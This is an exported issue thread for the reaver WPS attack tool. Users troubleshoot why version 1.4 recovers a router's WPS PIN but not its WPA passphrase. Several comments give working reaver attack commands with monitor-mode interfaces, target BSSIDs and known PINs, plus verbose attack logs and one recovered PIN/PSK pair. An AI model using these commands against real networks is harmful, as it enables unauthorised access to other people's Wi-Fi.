search

JazqhD / reaver-wps

Automatically exported from code.google.com/p/reaver-wps
0 stars 0 forks source link

reaver 1.4 find the PIN but don't reveal the wpa #228

Open GoogleCodeExporter opened 9 years ago

GoogleCodeExporter commented 9 years ago 
(first sorry for my english)
 I use reaver 1.4 to a wps enabled wifi and i have successfully found the pin but it don't reveal the wpa. I uninstalled the reaver 1.4 and install the reaver 1.3 and i run it with the -p argument with the pin that i have already found and it shows the wpa. There maybe something wrong here....

Original issue reported on code.google.com by epp1...@epp.teiher.gr on 9 Feb 2012 at 12:00

GoogleCodeExporter commented 9 years ago 
it's not a big problem you just used the pin you get and try to fire the reaver 
with the pin you get and you will get a clear key
:))))))))))))))))))))))))))

Original comment by alhorani...@gmail.com on 9 Feb 2012 at 12:27

GoogleCodeExporter commented 9 years ago 
Nah, its not reaver's fault. Some routers will show a random string of numbers 
as the PSK when you first find its WPS pin. Just retry with the -p argument 
added and it will show you the PSK.

Original comment by nexdemi...@gmail.com on 12 Feb 2012 at 6:56

GoogleCodeExporter commented 9 years ago 
Had the same issue where reaver-1.4 would find the WPS pin but not reveal the 
WPA password.  Ran reaver-1.4 several times with the -p argument and WPS pin.  
It would confirm the pin was correct but never showed the WPA password.  
Removed reaver-1.4,  ran reaver-1.3 and the WPA password showed up on the first 
attempt.

Original comment by brian...@gmail.com on 12 Feb 2012 at 4:33

GoogleCodeExporter commented 9 years ago 
WPS PIN: 08516084
WPA PSK: df609dfmklmfd0mmdf0df0d2344
when i try to enter the pin and psk it says bad password.. can anyone help 
plz.. and can i get a clear key outta this.. thx

Original comment by Xxgulkha...@gmail.com on 25 Feb 2012 at 10:53

GoogleCodeExporter commented 9 years ago 
I have a similar problem. I know the PIN. If the router (A Linksys WRT54G2) is 
configured for WEP, it returns the key. When configured for WPA, it doesn't. It 
only says:

Trying Pin 12345678
WPS PIN: '12345678'
AP SSID: 'linksys'
Press any key to exit....

Original comment by rchadwi...@yahoo.com on 8 May 2012 at 3:13

GoogleCodeExporter commented 9 years ago 
i have the same pproblem,,plz tell me the command to enter with pin,,how i can 
use my pin in command?

Original comment by sudipeee...@gmail.com on 7 Feb 2013 at 12:49

GoogleCodeExporter commented 9 years ago 
i have the same problem with the no. 4 post ..

i tried to run reaver over and over again like 14 times but i got the same wps 
pin but no passphrase ..

please help ..

Original comment by morelie_...@yahoo.com on 27 Mar 2013 at 8:22

GoogleCodeExporter commented 9 years ago 
root@bt:~# reaver -i mon0 -b C8:60:00:xx:xx:xx -vv -p 52813627 -N

Reaver v1.4 Wifi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 
<cheffner@tacnetsol.com>

[+] Waiting for beacon from C8:60:00:xx:xx:xx
[+] Switching mon0 to channel 11
[+] Associated with C8:60:00:xx:xx:xx (ESSID: xxxx)
[+] Trying pin 52813627
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M1 message
[+] Received M1 message
[+] Received M1 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M3 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M5 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 2 seconds
[+] WPS PIN: '52813627'
[+] Nothing done, nothing to save.

Hardware : Asus Router
Using BT5R3 with VMWARE.
Wireless Adaptor : TP-Link 822N

I tested with this router ealier time with this wifi adaptor and succeed, but 
this time reaver won't check pin without -N argument (error 0x02 and 0x03). Now 
with -N argument , pin was checked and report cracked but no PSK .Any idea?

Original comment by nyi....@gmail.com on 22 Jun 2013 at 1:04

GoogleCodeExporter commented 9 years ago 
[deleted comment]
GoogleCodeExporter commented 9 years ago 
hey, can someone help me! reaver 1.4 find  the PIN but don't reveal the wpa. i 
tried find wpa psk using reaver 1.4 but i got same issue. Any suggestions?

Original comment by jahja.tr...@gmail.com on 23 Oct 2013 at 9:50

GoogleCodeExporter commented 9 years ago 
I have the same problem..

Original comment by bushe...@gmail.com on 9 Jan 2014 at 6:25

GoogleCodeExporter commented 9 years ago 
I had the same issue. All I did was once I gone wps pin I ran the filling 
command over and over again until it showed me the wpa psk and ap ssid...

reaver -i mon0 -b <your bssid here> -p <your wps pin here> -S -N -vv

I'm using kali linux with reaver 1.4

And I have the TP-WDN3200 Wireless card.

Original comment by yprajapa...@gmail.com on 9 Sep 2014 at 9:21

GoogleCodeExporter commented 9 years ago 
yes, i had the same issue similiar to following case ,too, no wpa show up. 
what's wrong with reaverv1.4?

root@bt:~# reaver -i mon0 -b C8:60:00:xx:xx:xx -vv -p 52813627 -N

Reaver v1.4 Wifi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 
<cheffner@tacnetsol.com>

[+] Waiting for beacon from C8:60:00:xx:xx:xx
[+] Switching mon0 to channel 11
[+] Associated with C8:60:00:xx:xx:xx (ESSID: xxxx)
[+] Trying pin 52813627
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M1 message
[+] Received M1 message
[+] Received M1 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M3 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M5 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 2 seconds
[+] WPS PIN: '52813627'
[+] Nothing done, nothing to save.

Original comment by yefishsk...@gmail.com on 8 May 2015 at 12:41